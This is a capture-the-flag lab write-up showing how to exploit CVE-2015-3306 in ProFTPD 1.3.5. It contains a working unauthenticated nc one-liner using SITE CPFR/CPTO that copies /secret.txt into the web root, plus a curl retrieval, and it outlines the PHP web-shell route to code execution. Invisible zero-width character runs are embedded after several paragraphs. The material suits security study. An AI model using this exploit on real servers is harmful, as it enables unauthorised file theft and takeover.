ProFTPD 1.3.5 Remote Code Execution (CVE-2015-3306)

Platform: hackviser | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-08 | Status: Solved Techniques: arbitrary_file_copy, copy_to_webroot_file_read, mod_copy_site_cpfr_cpto, unauthenticated_ftp_exploit

Summary

Task: read /secret.txt on a box running ProFTPD 1.3.5 vulnerable to CVE-2015-3306 (mod_copy). Solution: use unauthenticated SITE CPFR/CPTO to copy /secret.txt into the Apache web root, then fetch it over HTTP.

ProFTPD 1.3.5 Remote Code Execution (CVE-2015-3306) — hackviser

Description

ProFTPD 1.3.5 Remote Code Execution (CVE-2015-3306)

ProFTPD is a widely used open-source FTP server for file transfer.

This laboratory contains the CVE-2015-3306 vulnerability found in ProFTPD version 1.3.5. This vulnerability allows attackers to perform remote code execution attacks, enabling the execution of arbitrary commands on the server and potentially taking control of the system.

What is the secret in the /secret.txt file? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: 172.20.30.78. Goal: read the contents of /secret.txt.

Recon

Port and service scan:

 bash read-only • copy allowed Copy
nmap -p 21,80,443 -sV 172.20.30.78

Results:

• 21/tcp open ftp — ProFTPD 1.3.5
• 80/tcp open http — Apache httpd 2.4.62 ((Debian))
• 443/tcp closed

Confirm the web server and infer the web root:

 bash read-only • copy allowed Copy
curl -sI http://172.20.30.78/

Returned the "Apache2 Debian Default Page: It works" page, Server: Apache/2.4.62 (Debian). On Debian the default document root is /var/www/html/, which is the pivot for file exfiltration. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Analysis

CVE-2015-3306 lives in the ProFTPD mod_copy module. When enabled, it exposes the SITE CPFR (copy-from) and SITE CPTO (copy-to) FTP commands without requiring authentication. An unauthenticated attacker can therefore copy arbitrary files anywhere on the server filesystem that the ProFTPD process can write to.

This is labelled "RCE" because you can copy an attacker-controlled PHP payload into the web root and execute it over HTTP. For this challenge the simplest path is a straight arbitrary file read: copy /secret.txt into the HTTP-served web root (/var/www/html/) and fetch it with curl. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Send the two SITE commands directly to the FTP port — no login needed:

 bash read-only • copy allowed Copy
printf 'SITE CPFR /secret.txt\r\nSITE CPTO /var/www/html/secret_leak.txt\r\n' | nc -w 5 172.20.30.78 21

Server responses:

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [172.20.30.78]
350 File or directory exists, ready for destination name
250 Copy successful

350 acknowledges the copy source, 250 Copy successful confirms the write into the web root. Now read the copied file over HTTP: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -s http://172.20.30.78/secret_leak.txt

Output:

REDACTED

Alternative: full RCE path

The same primitive yields full RCE. The canonical PoC (and Metasploit module exploit/unix/ftp/proftpd_modcopy_exec) writes an attacker-controlled PHP payload to a writable location, then uses SITE CPFR/SITE CPTO to copy it into /var/www/html/x.php, and finally executes commands via http://target/x.php?c=<cmd>. For this challenge the file-read path above is sufficient. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍